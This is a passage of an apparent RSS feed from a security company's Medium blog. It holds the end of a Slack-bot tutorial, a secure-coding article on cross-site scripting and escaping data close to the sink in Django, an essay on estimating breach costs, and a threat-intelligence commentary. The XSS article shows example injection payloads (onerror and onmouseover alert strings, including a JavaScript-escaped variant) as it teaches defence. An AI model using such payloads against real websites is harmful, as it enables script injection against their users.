and checking that the input isn’t too long (because we have a lot of hackers in the company that are bound to try things, and we don’t want to get caught off guard 🥴):</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/625a67467ace66c9fdd12898f4d0f9b1/href">https://medium.com/media/625a67467ace66c9fdd12898f4d0f9b1/href</a></iframe><p>Next we extract the URL and lead name from the command (URL requires some special handling due to how Slack sends it to the bot):</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e34ecddaa5b77395a322f6543917b5f7/href">https://medium.com/media/e34ecddaa5b77395a322f6543917b5f7/href</a></iframe><p>Then we check for corner cases that prevent submission:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/94ec54a36a944614bc18e5d3356513ae/href">https://medium.com/media/94ec54a36a944614bc18e5d3356513ae/href</a></iframe><p>Then we create a unique token for the submission and link it to the user submitting. We continue the conversation to get more details about the lead using client.chat_postMessage(). Later on when we receive answers, we’ll retrieve the submission (and finalize it) from current_token_by_user_id[user_id].</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/21b08f3bb8234312f91b81a25f43246d/href">https://medium.com/media/21b08f3bb8234312f91b81a25f43246d/href</a></iframe><p>And that’s it! That covers the main gist of things. See the code for more information.</p><p><strong>Thanks for reading and enjoy your new Slack bot!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/287/1*rOwFn942HYb5vR3xTWeXlw.png" /></figure><p><em>Dr. Nimrod Partush — ​ Combining years of AI research experience with deep knowledge of the cybersecurity domain, Dr. Partush leads the Data Science D</em>epartment <em>at </em><a href="https://cyesec.com/"><em>CYE</em></a><em>. His background includes both practical hands-on experience gained from serving in an elite IDF cybersecurity unit and academic experience amassed through his Ph.D. in Computer Science at the Technion.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9663d41580fa" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyesec/creating-a-python-slack-bot-the-monkey-guide-9663d41580fa">Creating a Python Slack Bot — The Monkey Guide</a> was originally published in <a href="https://medium.com/cyesec">CYESEC</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Your Code Should Do Security Checks at the Last Possible Moment]]></title>
            <link>https://medium.com/cyesec/you-should-do-security-checks-at-the-last-possible-moment-109954f202cb?source=rss----8af97e3d540f---4</link>
            <guid isPermaLink="false">https://medium.com/p/109954f202cb</guid>
            <category><![CDATA[attack-surface]]></category>
            <category><![CDATA[data]]></category>
            <category><![CDATA[escape]]></category>
            <category><![CDATA[code]]></category>
            <category><![CDATA[code-review]]></category>
            <dc:creator><![CDATA[CYE]]></dc:creator>
            <pubDate>Wed, 20 Jul 2022 08:45:55 GMT</pubDate>
            <atom:updated>2023-04-27T08:59:37.287Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pp9Sm67ClupYjq0WaIdxQw.jpeg" /></figure><p>Sometimes it feels like there’s a tradeoff between security and simplicity, agility, performance, or usability. In many cases this feeling is untrue, and stems from misinterpretations of security guidelines. In reality, many security bugs are usability bugs in disguise — for example, <a href="https://owasp.org/Top10/A03_2021-Injection/">Injection vulnerabilities</a>.</p><h3>Why should you care about injection vulnerabilities?</h3><p>Current development frameworks make building real-world applications easier, while also taking care of many security issues for the developer. Some feel that due to adoption of such frameworks, security bugs in applications will soon be a thing of the past. Unfortunately, this is not true — security researchers keep discovering vulnerabilities in the wild — granted, it’s gradually becoming more difficult to find and exploit, but the impact of a single critical vulnerability is still devastating.</p><p>Take, for example, the family of<a href="https://owasp.org/Top10/A03_2021-Injection/"> Injection vulnerabilities</a>, like the well known <a href="https://owasp.org/www-community/attacks/SQL_Injection">SQL injection vulnerability</a>. Why, are there still SQL injection bugs in the wild, even in newer applications that were built well after mitigating factors such as <a href="https://www.sqlalchemy.org/">ORM</a>s were widely adopted by developers?</p><p>The answer is that in many real-world cases, developers opt-out of ORMs and other similar tools, when hand-writing SQL makes more sense. Have a look at the “<a href="https://www.cosmicpython.com/book/preface.html">Architecture Patterns with Python</a>”, written by Harry Percival and Bob Gregory — in one of the later chapters, they make an <a href="https://www.cosmicpython.com/book/chapter_12_cqrs.html#hold-on-ch12">excellent case for using raw SQL queries in some views</a>. Even if you disagree with their reasoning, the fact is that experienced developers (and novice developers alike) keep using “dangerous” tools to handle real-world use cases when it makes sense.</p><p>This is true for many types of data-handling vulnerabilities. <a href="https://owasp.org/www-community/attacks/xss/">Cross-Site Scripting</a> vulnerabilities are found in the wild, even though front-end frameworks like React and Angular exist. Many websites, including giant web applications like Github, don’t use any big front-end frameworks, and instead take the classic approach of server-side rendering and <a href="https://github.github.io/web-systems-documentation/overview/frontend_development/#build-websites-like-its-2005">using JavaScript to enhance user-experience where needed</a>, which is a valid and effective approach.</p><p>The fact of the matter ultimately is, that if you write code, you must have a strategy for handling user-controlled data safely — because a framework won’t always protect you. This is especially true in complex, real-world use-cases. And even more than this, if you’re a security researcher, you should continue looking for these types of vulnerabilities.</p><h3>Analysis of a simple example</h3><p>Let’s take a simple web view: we want to let users to search for music tracks by artists, and return an error message if nothing was found. A simplified, intentionally vulnerable implementation of this view in <a href="https://www.djangoproject.com/">Django</a> might look like this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/93b557d518b6a7a3fb8c35a46c97bd6f/href">https://medium.com/media/93b557d518b6a7a3fb8c35a46c97bd6f/href</a></iframe><p>Here’s what the interface looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*d8hjHMX6Esr4-kD9j-tUkw.png" /><figcaption>/search/Django%20Reinhardt</figcaption></figure><p>But this view is vulnerable to Cross-Site Scripting — a malicious user could craft a special URL that would inject HTML and JavaScript code into the view:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*WaYvm_Ivw24T5iFY_MxNRw.png" /><figcaption>/search/&lt;img%20onerror=”alert(‘Hacked!’)”%20src=not-there&gt;</figcaption></figure><p>This is possible because the implementation of the view mixes user-controlled input (the artist name) with code — the HTML response.</p><h3>Don’t fix injection vulnerabilities with input sanitation</h3><p>To fix this vulnerability, some might suggest whitelist input sanitization — it’s more secure to restrict user inputs and only allows the necessary characters! Some frameworks do this out-of-the-box. There’s no reason to allow the user to search for &lt;img onerror=&quot;alert(&#39;Hacked!&#39;)&quot; src=not-there&gt;. So in this example we might want restrict the inputs to just letters and spaces:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/1f040d15e681750269c48d8869f45e07/href">https://medium.com/media/1f040d15e681750269c48d8869f45e07/href</a></iframe><p>The problem with this solution is it hurts usability — there are many artists that we can’t search for now:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rfUBr_hcV7qgFVBzpLCNrQ.png" /><figcaption>/search/Crosby,%20Stills,%20Nash%20&amp;%20Young</figcaption></figure><p>What about , and &amp;? Should we allow them? They don’t feel too dangerous, but are they? Let’s say we do allow them. What about:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pxJlrDx9PPqM7rSbzyLznw.png" /><figcaption>/search/Sinéad%20O’Connor</figcaption></figure><p>What about &#39;? It can be dangerous sometimes, but right now we’re not sure if we can use it to exploit the website. Maybe we should talk to the product manager and ask them if we can store all artist names using the closest alphabetic representation? How would we even explain this to them and to the customers?</p><p>The problem with this solution is that it’s tied to implementation details that are difficult to explain to stakeholders and keep track of internally. For example, imagine if you now wanted to put a link to the artist’s page, and the user input went into an HTML attribute delimited with &#39;s. The response looks like this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/16e3215e38548fcc688d91bf4e922121/href">https://medium.com/media/16e3215e38548fcc688d91bf4e922121/href</a></iframe><p>Now, &#39; really is dangerous, because we can use it to escape the attribute and open a new one:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rPwI9Ts73FplS_ZbDM7_NQ.png" /><figcaption>/search/’%20onmouseover=’alert(1)’%20x=’</figcaption></figure><p>Does this mean we have to go back to the product manager and tell them we have to remove support for &#39;? We can’t constraint the requirements like this.</p><p>Input sanitization is an important component of web applications, and could prevent many types of attacks, but by itself it is not a reliable enough strategy to mitigate these kinds of security issues. The problem with input sanitization is twofold:</p><ul><li>It’s derived from product requirements, not security requirements.</li><li>It happens too early — without the proper context of where the data is used. (We will get back to this point later).</li></ul><p>If we want to reliably fix injection vulnerabilities, we have to find a fix that works even if there is no input sanitization at-all. Over-reliance on input sanitization as the main defense layer in applications is one factor that contributes to security-related frustration.</p><h3>Separation of code and data</h3><p>Regarding injection-type vulnerabilities, user-controlled input only becomes dangerous when putting it into code — OS commands, SQL, or HTML in the case of cross-site scripting. This user-controlled data is not a Cross-Site Scripting threat when it passes from the browser to the server, from the server to the application router, or from the router to the view. The only dangerous action in our example is putting this data into HTML. A function that’s dangerous to pass user data to is sometimes called a <strong>Sink</strong>. In a security code review, when you look for injection vulnerabilities, you look for sinks and try to figure out if attackers can control the data that goes into them. In our case, HttpResponse is a sink.</p><p>The real mitigation is to eliminate sinks or guard them by keeping the data separated from the code — by escaping the data. Every major framework has a <a href="https://docs.djangoproject.com/en/4.0/ref/templates/builtins/#escape">built-in escaping / encoding function</a>, and most of them have a built-in mechanism that automatically escapes data when it’s mixed into HTML. In case of HTML escaping, characters that have special meaning in HTML are converted into a special representation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*D8tsoSxu92T4ssQ4DnScrA.png" /><figcaption>Taken from the Django documentation: <a href="https://docs.djangoproject.com/en/4.0/ref/templates/builtins/#escape">https://docs.djangoproject.com/en/4.0/ref/templates/builtins/#escape</a></figcaption></figure><p>HTML escaping is unique to HTML — SQL has different characters that have special meaning, and their escaping is different.</p><p>If all the data that goes into the sink is escaped properly, then it is not vulnerable to injection attacks.</p><h3>Do data escaping as late as possible</h3><p>A good strategy for securing your code, which might be counterintuitive at first, is to escape the data as late as possible — in other words, as close to the sink as possible. Here is an example of how to fix to the function from before:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/4801972fb1a0fe801df3ca8a8430362e/href">https://medium.com/media/4801972fb1a0fe801df3ca8a8430362e/href</a></iframe><p>Notice that if sinks are protected as late as possible, than when you review these sinks, all you need in order to verify that the sink is secure is right in front of your eyes. You don’t need to look at any other code, and in the case of HttpResponse in our search function, you don’t even have to look at any other lines of code, in order to determine that they are used securely. You can see in the same line of code, or very close to it, that all data is escaped before it goes into that sink, and that the type of escaping matches the type of sink. In this case, user data goes into HTML, so we use html.escape. Note that without the escaping, the search function itself technically becomes a sink, since it can be exploited if user data goes into it.</p><p>You might notice that we also escape the track names, although they don’t come from the user data in this function. Let’s think about this next.</p><p>The track name comes from the Track model, which is stored as a table in the database. It’s actually very difficult to know whether or not we trust the data in the database to be safe! The flow of the track name into this page probably looks something like the diagram below, where HttpResponse is currently a known sink. So, where should we escape the data in order to be on that safe side, shouldn’t we make sure no dangerous data ever goes into the system? Maybe we should escape it as early as possible — immediately in the content management view, before storing it in the database:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*VJeMZBj-scVrgqjS0Z-CAw.png" /></figure><p>This, is wrong. What is actually dangerous, is not the data, but the sinks themselves. Escaping early actually makes the database, artist search view and HttpResponse sinks! The more sinks in the application, the greater the chances an attacker can exploit one of them:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*auVm_Thc0Zo7FeVolWNeqw.png" /></figure><p>During a code review, you will have to go through every component and line of code from HttpResponse back to the database itself, and make sure user-controlled data can’t reach any of these components. You also have to remember to keep doing it every time any of the code changes. It also makes components in opposite sides of the flow coupled with each other — the team that maintains the content management system has to know that the track name is only mixed into HTML on the other side.</p><p>But then what if the application team wants to change that and send the data via an API to a React application, or to a non-web client? They will have to un-escape the track name at their end… and the track name could go into an entirely different sink — it could be written to another database, a log file, etc.</p><p>Escaping data very early, which might feel like “good security”, although it isn’t, makes maintaining the application more complicated than it needs to be. This is another example of how a misunderstood security requirement can become an unnecessary burden.</p><p>The correct place to escape is as late as possible, in context — inside the artist’s search view, near the HttpResponse call:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*Z3tNAtAwM3upg_qfgexK8w.png" /></figure><h3>Frameworks won’t always save you</h3><p>Sometimes you have to work outside the framework to implement a unique use-case. When you do that, it’s crucial to pay attention to make sure you handled the data safely.</p><p>Let’s use the <a href="https://docs.djangoproject.com/en/4.0/topics/templates/#module-django.template">Django Templates</a>, which handle HTML escaping automatically:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/7db86d255329d73b77db67f7c7fdedbf/href">https://medium.com/media/7db86d255329d73b77db67f7c7fdedbf/href</a></iframe><p>Now let’s assume we want to add a refresh button, and we want to do it in JavaScript to make refreshes look smooth. We don’t use any frontend frameworks right now, but it’s a simple use case, so we will just do it by hand:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/86d40fe4152da741fb918dea61e86b72/href">https://medium.com/media/86d40fe4152da741fb918dea61e86b72/href</a></iframe><p>Let’s do a quick security code review of that code — we used innerHTML a few times. innerHTML is a sink just like HttpResponse, so we have to make sure we use it safely.</p><p>The call to innerHTML on line 29 looks safe because we don’t pass any user data into it. The call on line 28 also looks pretty safe, since it just re-grabs the HTML from the template as-is.</p><p>The call in line 21, however, requires a closer look. At first it seems safe, because {{ artist }} is escaped by Django so it should be HTML-safe. However, upon closer inspection we discover that escaping it in Django is doing it too early — it goes into a JavaScript string, and these have their own escaping mechanism. For example, you can represent &lt;as \x3c, which won’t be changed by Django’s html.escape at all, but will still inject valid HTML into refreshMessage.innerHTML:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*Fxv484XReS149TN7YCGhPQ.png" /><figcaption>/search/\x3cimg%20src=not-there%20onerror=”alert(‘Hacked!’)”\x3e</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*_pCqwoHFMr0yUebWVmV-ig.png" /><figcaption>Script runs when the user clicks on the refresh button</figcaption></figure><p>So the sink is actually in the Javascript code, and we should escape it in Javascript if we can. We should also note that a template that puts data inside a Javascript string is yet another sink, which is different from HTML sinks. The correct solution is:</p><ul><li>Escape the value using <a href="https://docs.djangoproject.com/en/4.0/ref/templates/builtins/#escapejs">JavaScript escaping</a> instead of the default HTML escaping (because the data goes into a JavaScript string, not HTML). The escapejs filter in Django does exactly that.</li><li>HTML-escape the data as close to innerHTML as possible — in JavaScript. We can do this for example by taking in user data using innerText instead of innerHTML.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*SHOF7fk3560kGirefyu21w.png" /></figure><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/0f2af07bc5921fb309e61f7f385c0738/href">https://medium.com/media/0f2af07bc5921fb309e61f7f385c0738/href</a></iframe><p>It’s important to note that without these changes, the application won’t only have security issues, but also usability issues in cases where users search for artists with special characters in their name. Again, in this case, security and usability aren’t in competition with each other.</p><p>Ultimately, although input sanitization is nice-to-have, it should not be used as the main defense layer in applications and APIs. Instead, code and data should be kept separate. An example of this being done in action is by escaping the data, which should happen as late as possible — in order to reduce the attack surface of sinks and make it easy to review the code. This is fundamentally true both for security and usability, as they are not in competition with each other.</p><p><em>Eyal Greenberg is an accomplished researcher with years of experience serving as a penetration tester, security researcher, team-leader and eventually, as the Commander of the Israeli national Red-Team in Matzov. After completing his service, Eyal helped found </em><a href="https://cyesec.com/"><em>CYE</em></a><em> where he currently serves as a penetration tester , team leader and spearheads the research division.</em></p><p><em>Gil Cohen is a highly experienced information security architect, consultant, researcher, and penetration tester with more than 16 years of experience. Gil currently works as the Head of application security at CYE, taking part in both the information security services department and in the research of CYE’s automation product.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=109954f202cb" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyesec/you-should-do-security-checks-at-the-last-possible-moment-109954f202cb">Your Code Should Do Security Checks at the Last Possible Moment</a> was originally published in <a href="https://medium.com/cyesec">CYESEC</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Quantifying the Cost of a Data Breach]]></title>
            <link>https://medium.com/cyesec/quantifying-the-cost-of-a-data-breach-b64b3f1ab04a?source=rss----8af97e3d540f---4</link>
            <guid isPermaLink="false">https://medium.com/p/b64b3f1ab04a</guid>
            <category><![CDATA[data]]></category>
            <category><![CDATA[exposure]]></category>
            <category><![CDATA[cost]]></category>
            <category><![CDATA[breach]]></category>
            <category><![CDATA[impact]]></category>
            <dc:creator><![CDATA[CYE]]></dc:creator>
            <pubDate>Mon, 06 Jun 2022 08:48:51 GMT</pubDate>
            <atom:updated>2024-01-21T10:33:16.047Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*OwWnrKyYz6k08yKUZhBHKA.jpeg" /></figure><p>For most people, when the phrase “data breach” is thrown into the conversation, the first thought that usually comes up is — “just don’t let it happen to me”. Nobody wants to be notified by some company that their private data has been exposed by hackers and could be manipulated in a variety of attacks such as bank account fraud or identity theft.</p><p>It’s no picnic for the company doing the notifying either. They have to handle a myriad of potential loss scenarios, whilst dealing with investigating and containing the leak.</p><p>So, I think we can agree that data breaches are bad — but can we say more?</p><p>Can we say how bad?</p><p>Can we put a dollar value on it?</p><p>For those in charge of making decisions regarding the cybersecurity aspects of their company, quantifying the monetary loss due to a data breach event (which we also refer to as “breach impact”), can be invaluable to the decision-making process.</p><p><strong>Traditional Breach Impact</strong></p><p>The “state of the art” for breach impact modelling is implemented mainly by insurers. Companies that sell cybersecurity insurance maintain their internal actuary models for estimating the insurance premiums and payouts for breached companies.</p><p><strong>Loss Components</strong></p><p>The main components of loss these insurers define are:</p><ul><li>Breach event containment costs</li><li>Regulatory fines and class-action lawsuits</li></ul><p>Containment costs apply to expenses like hiring a breach coach and establishing a call centre which are almost always estimated according to the organizations size and network complexity.</p><p>Many insurers predict the fines and lawsuits component based on a singular value: The number and type of personal private records expected to be leaked. They usually derive this information from the industry and number of (direct) customers the organization have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*yFA27xCQv2CGYUlrdktwpg.png" /><figcaption>Average estimated fine size (Y-axis, logarithmic scale) as a function of the breach size (X-axis). Source: CYE’s Breach Impact model.</figcaption></figure><p>An important caveat of the number-of-records based approach is that a company may be linked, and even <a href="https://www.msspalert.com/cybersecurity-breaches-and-attacks/accellion-vulnerabilities-victim-list/">held responsible</a>, for leaks linked to their products: For instance, an organization selling invoice management systems to retailers, could be held accountable, and even sued, due to private data of these retailers customers’ being leaked through the invoice system. The sort of “vendor impact” is often neglected by companies and insurers, who do not plan for this broad scope of loss.</p><p><strong>Drawbacks</strong></p><p>Although being the de-facto standard in breach impact estimation, cybersecurity insurers are far from being comprehensive and accurate:</p><ul><li>They lack the required intimate knowledge of the cybersecurity maturity level of the organization, its attack surface, vulnerabilities, targeting information etc. to correctly assess the likelihood of a breach event actually happening</li><li>They may miss significant parts of the loss, like the rising cost of ransom payouts, which is also linked to cryptocurrency conversion rate</li><li>They only ensure the explicit parts of the loss — those related to containing the breach event and compensating victims. Other company losses are very conservatively estimated, if any.</li></ul><p>Ultimately, the bottom line is that — relying on insurance companies for predicting the full scope of the loss can be unreliable. The insurers are not really motivated to provide a comprehensive view of data breach loss. They limit themselves and the premiums they sell, to tangible and provable expenses in well-defined categories. This may be satisfactory for ensuring the breach event itself, but lacking in the perspective of decision-makers, or investors, interested in the long term losses such an event may entail.</p><p><strong>The Hidden Loss</strong></p><p>Turns out that the losses you can get insured for is in many cases, just the tip of the iceberg.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nR-6326Ptk8is-2V4ID9NQ.png" /></figure><p>Quantifying organizational losses beyond the immediate costs of containing the event and paying penalties and settlements requires identifying hidden loss components. These components relate to the revenue and productivity of the organization, and how these may be affected by a breach event.</p><p><strong>Intellectual Property (IP)</strong></p><p>Data leaks aren’t always about leaking private user records. An increasing number of hackers are now targeting <a href="https://firewalltimes.com/sony-data-breach-timeline/">the intellectual property</a> of the organization as another means of monetary gain and extortion. IP records can range from source code files to sensitive documents and even unreleased content in case of media organizations like Netflix, Sony, etc. The <a href="https://www.ponemon.org/">Ponemon Institute</a> has published several studies, identifying lost IP as a potentially major factor of loss. According to the studies, companies are putting more emphasis on intangible assets (i.e., IP) as a major stream of revenue. Losing these assets can lead to major losses in the long term e.g., when leaked IP results in the loss of a competitive edge due to trade secrets, code and algorithm etc. being exposed.</p><p><strong>Brand Damage</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JvvWF5RXBmT539TAXBApOQ.png" /><figcaption>Equifax stock performance, compared to SNP500, in a 1-year timeline containing the breach (June 2017 → June 2018)</figcaption></figure><p>Another major loss factor which is not accounted for in a traditional breach impact estimation is reputation and brand damage. Many companies, e.g., <a href="https://www.ftc.gov/enforcement/refunds/equifax-data-breach-settlement">Equifax</a>, who experienced breach events, subsequently suffered unprecedented losses.</p><p>The first and most easily quantifiable loss is in stock value. A reduced stock value translates to direct losses for investors and damages the organizations’ ability to raise capital through its stock. The stock performance is many times also an indication of lost revenue.</p><p>Customer churn can also lead to substantial losses. The Ponemon institute reported an average 3.4 abnormal churn rate for companies that suffered data breaches in 2018, rising from 3.2 in 2017. It’s important to note that the reported churn greatly varies depending on country and sector. Some countries, like France or Japan can expect much higher churn rates (up to x2 the churn of other countries). The industry where the organization operates is also key for predicting churn rates. Some industries, like energy, utilities, or public (government) will experience much lower churn rates than companies operating in the cybersecurity industry. These are only part of the factors that weigh into brand damage estimation.</p><p>An important caveat of brand damage estimation is that <strong>companies mustn’t always suffer stock loss and increased customer churn</strong>. The security posture of the organization, and mainly <em>how it is perceived by its customers and investors </em>is a <a href="https://www.computerweekly.com/news/450419072/Strong-cyber-security-posture-reduces-impact-of-breaches">major component in the outcome of a breach event</a>, and specifically the effect on the company’s brand.</p><p><strong>Business Continuity &amp; Productivity Loss</strong></p><p>When a company suffers a breach event, systems go down. Either directly by the actions of the hackers or by the company itself, trying to contain the event. Systems being down means that the company can’t generate any revenue from its online systems and that many employees are left idle for the duration of the event.</p><p>The canonical formula, therefore, for estimating revenue and productivity losses is:</p><p>Loss = (Lost Revenue per Hour + Lost Productivity per Hour) * Downtime Duration</p><p>The equation may seem simple, however estimating each of its components is a formidable task. <strong>Revenue and productivity per hour</strong> can vary greatly depending on the organization in question, as the revenue and productivity dependency on systems uptime is different for each organization. In our model, we predict these factors based on data aggregated by industry and country, and of course allow for the organization itself to provide these terms.</p><p><strong>Downtime duration</strong> for a breached company depends on the type of company and mainly the level of skill of the employees tasked with containing the breach and getting systems back up as well as the tools and policies put in place to mitigate such an event. Of the three terms of the loss formula, this part would be the hardest for the company to estimate by itself. It requires knowledge and experience of skilled Cybersecurity IT and IR (Incident Response) personnel.</p><p><strong>The Decisive Factor: Exposure</strong></p><p>Breach Impact estimation is a powerful tool for decision making. It allows an organization to evaluate risk and budget cybersecurity spending correctly. However, it provides only part of the picture. To truly assess risk, the organization needs to evaluate <em>likelihood of breach</em>.</p><p>When asked, I always suggest the <strong>car metaphor</strong>: Losing a brand new $400,000 Ferrari 599 GTO, would cost you… $400,000 — but that’s not the risk. Risk also depends on the road conditions in your city and how well you drive, i.e., the probability of an accident.</p><p>The same is applied for data breaches. The <em>exposure</em> of an organization depends on its cybersecurity standing and the likelihood of it being hacked, as well as its breach impact, and specifically:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*AtAoIQZkI1uQh6Aw3NdC2A.jpeg" /></figure><p>So, estimating impact is great, but it’s not enough.</p><p><strong>Sources and Methodology</strong></p><p>CYE’s Breach Impact model is based on data collected internally by CYE’s security researchers and incident response specialists and reflects years of experience and intimate knowledge of the cybersecurity landscape and breach events. This data is coupled with breach statistics collected over years from hundreds of breach events in companies, spanning various industries and countries, supplemented by public sources and studies.</p><p><em>Dr. Nimrod Partush — ​ Combining years of AI research experience with deep knowledge of the cybersecurity domain, Dr. Partush leads the Data Science D</em>epartment <em>at CYE. His background includes both practical hands-on experience gained from serving in an elite IDF cybersecurity unit and academic experience amassed through his Ph.D. in Computer Science at the Technion.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b64b3f1ab04a" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyesec/quantifying-the-cost-of-a-data-breach-b64b3f1ab04a">Quantifying the Cost of a Data Breach</a> was originally published in <a href="https://medium.com/cyesec">CYESEC</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Are WE There Yet?]]></title>
            <link>https://medium.com/cyesec/are-we-there-yet-d7c094561681?source=rss----8af97e3d540f---4</link>
            <guid isPermaLink="false">https://medium.com/p/d7c094561681</guid>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[russia]]></category>
            <category><![CDATA[future]]></category>
            <category><![CDATA[sanctions]]></category>
            <category><![CDATA[ukraine]]></category>
            <dc:creator><![CDATA[CYE]]></dc:creator>
            <pubDate>Mon, 09 May 2022 13:28:19 GMT</pubDate>
            <atom:updated>2022-12-26T16:07:13.356Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*lHF74Voyz3Tb2fyzf3Gwzg.png" /></figure><h4><em>Thoughts on what the future holds amidst the Russian-Ukrainian Crisis</em></h4><p>A month into the war between Russia and Ukraine, we heard a lot about Russia’s activity in the cyber domain. One of the central elements, included witnessing the use of wipers, ransomware, and DDOS attacks against Ukrainian entities long before the first shot was even fired. This of course, caused much debate amongst both academics and colleagues in the cyber intelligence industry. Established through this debate, is that our perception of Russian conduct is inherently different.</p><p><strong>So, what have we seen against the West so far?</strong></p><p>Aside, from the US reporting to have experienced ransomware against oil and gas companies prior to the breakout of the war, we also saw the FBI publish full reports of IOCs (Indicators of compromise). These IOC’s focused on the Russian TTPs (Tactics, Techniques and Procedures) and tools that might have been intended for CNI (Computer Network Influence) attacks; the U.S. government even went so far as to warn companies of possible attacks (… more than once … do they know something we don’t? probably…).</p><p>Further to this, for years, the US security services have assessed that the Russian cyber threat is severe and has significant capabilities to cripple companies, networks, and critical infrastructures. For the sake of this article, let’s assume that indeed, after years of assessments and successful infiltrations such as CCLEANER and SolarWinds, and other incidents handled by CYE in hub companies infiltrated by APT29, that Russian APTs (Advanced Persistent Threats) have such capabilities and red buttons all over Western entities. We have seen Russia’s APTs attack companies solely for the purpose of expanding their reach to other, more difficult-to-reach, targets.</p><p><strong>Between CNI and CNA, on strategic targets</strong></p><p>Contrary to CNI attacks, an ability like a red button to shut down critical infrastructure or a government network is not something any actor will consider using. Not only does it take a lot of time to build and cultivate, but, it also has the potential to trigger detrimental escalation. Abilities such as these are primarily reserved for wartime or extreme conditions. These conditions predominately refer to governments that decide that they either have nothing to lose or that they are provoked by measures of similar severity.</p><p>We therefore assess that whilst Russia was prepared for Western sanctions — from our perspective, we still haven’t reached the point where Russia would choose to conduct significant CNA (Computer Network Attack) attacks against high-value targets such as critical infrastructures in the West.</p><p>This ultimately begets the question, WHEN will this happen? Whilst there is no sure answer, we strongly concur that it will be when Russia is on the brink of losing control over its population due to sanctions, or, when it will have less to lose from the attacks. A convincing example of this, is if the West finally follows through on its threat to cut Russia off from SWIFT. In doing this, the West will effectively cut Russia off from the majority of the modern economy, plunging them into a deeper economic crisis than the one they are currently facing.</p><p>To quickly circle back, it is almost common knowledge that Russia may have red buttons for CNA purposes on Western targets. IF and WHEN they use them is the real question; hence, ARE WE THERE YET?</p><p><strong>We think not.</strong></p><p><em>After a decade and a half in the Israeli defense and intelligence community, Elad Leon joined CYE as the CTI Lead Analyst. He is an experienced cyber security and intelligence professional with extensive hands-on and strategic analysis abilities.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d7c094561681" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyesec/are-we-there-yet-d7c094561681">Are WE There Yet?</a> was originally published in <a href="https://medium.com/cyesec">CYESEC</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>